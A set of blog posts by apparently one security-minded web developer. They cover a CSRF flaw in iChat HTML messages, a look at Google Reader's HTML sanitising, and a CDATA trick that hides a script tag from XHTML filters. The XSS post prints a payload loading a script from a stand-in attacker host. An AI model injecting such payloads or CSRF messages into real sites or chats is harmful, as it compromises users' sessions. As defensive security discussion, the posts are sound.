CSRF in iChat

A year ago or so I discovered that iChat does not only share the rendering engine, but also the cookie manager with Safari. So you can CSRF someone over at least AIM (i don't know wether other protocols support html as well) by sending them an HTML message. The HTML message can contain an img tag, and thus execute a CSRF.

Since a friend of mine reported this bug when I found it, and they still haven't fixed it it seemed like the time to publish it. I also wonder wether other clients also share this problem (for instance windows clients using the msie rendering engine).

Google Reader security

Since I was bored I decided to test the Google Reader security (I like to make sure that the websites I use are at least moderately secure). Also, since this is a community application (via the shared feeds) a XSS exploit could spread quite easily (like the MySpace worm).

But Google has actually implemented a decent security scheme. As far as i can see they actually parse the html (and xhtml) generate new html from the parse tree. They also prevent the hack which i thought of recently by stripping CDATA sections and replacing them by their html-encoded content.

I also tried injecting into the style property, but they actually seem to parse the css as well. At least to me this approach seems pretty solid. That is, it is the approach I always advise to people. Parse everything, make a (xml) tree, and use a whitelisting filter (for example XSLT) to select the allowed properties). The hard part is to parse the domain languages (javascript, css) and they seem to handle that properly as well. Good to see a webapp/website that actually thought about their security :) (though I must admit it is a bit disappointing to search for exploits for some time and find none ;) ).

Xhtml XSS exploit

A few days ago I was discussing the security of our company's new webframework with Eamon. This framework is by design quite XSS-safe. Because the whole website is XML based we need to use XML everywhere. And if we take the user input as XHTML instead of HTML it's much easier to make sure it's valid. And it's very easy to clear a valid XHTML fragment of XSS attacks (by only allowing reasonable tags, and doing some filtering on valid urls).

But there's one pitfall. Since some browsers (looking at you MSIE) don't understand XHTML we need to serve the pages as text/html. If we now choose to serve the XHTML as is we might run into some trouble. Since XHTML allows some constructs which mean nothing in HTML we might be able to create a valid and safe XHTML document, which isn't safe if served as HTML. For instance, this is a possible attack vector.

<![CDATA[ >
<script src="http://evilhaxor.org/evilscript.js"></script>
< ]]>

But since I'm not that skilled in XML, I don't know all possible constructs. But it might also be possible to do nasty things with namespaces for instance (let's say the script namespace). If anyone has additional attack vectors i'm very interested :)

XSS Cheat Sheet and Database

I guess most of my readers will be familiar with the XSS cheat sheet. But I only recently found out that someone also wrote a nice frontend to it to search through it more easily, the XSSDB. If someone knows more XSS databases like these i'd really like to hear about them.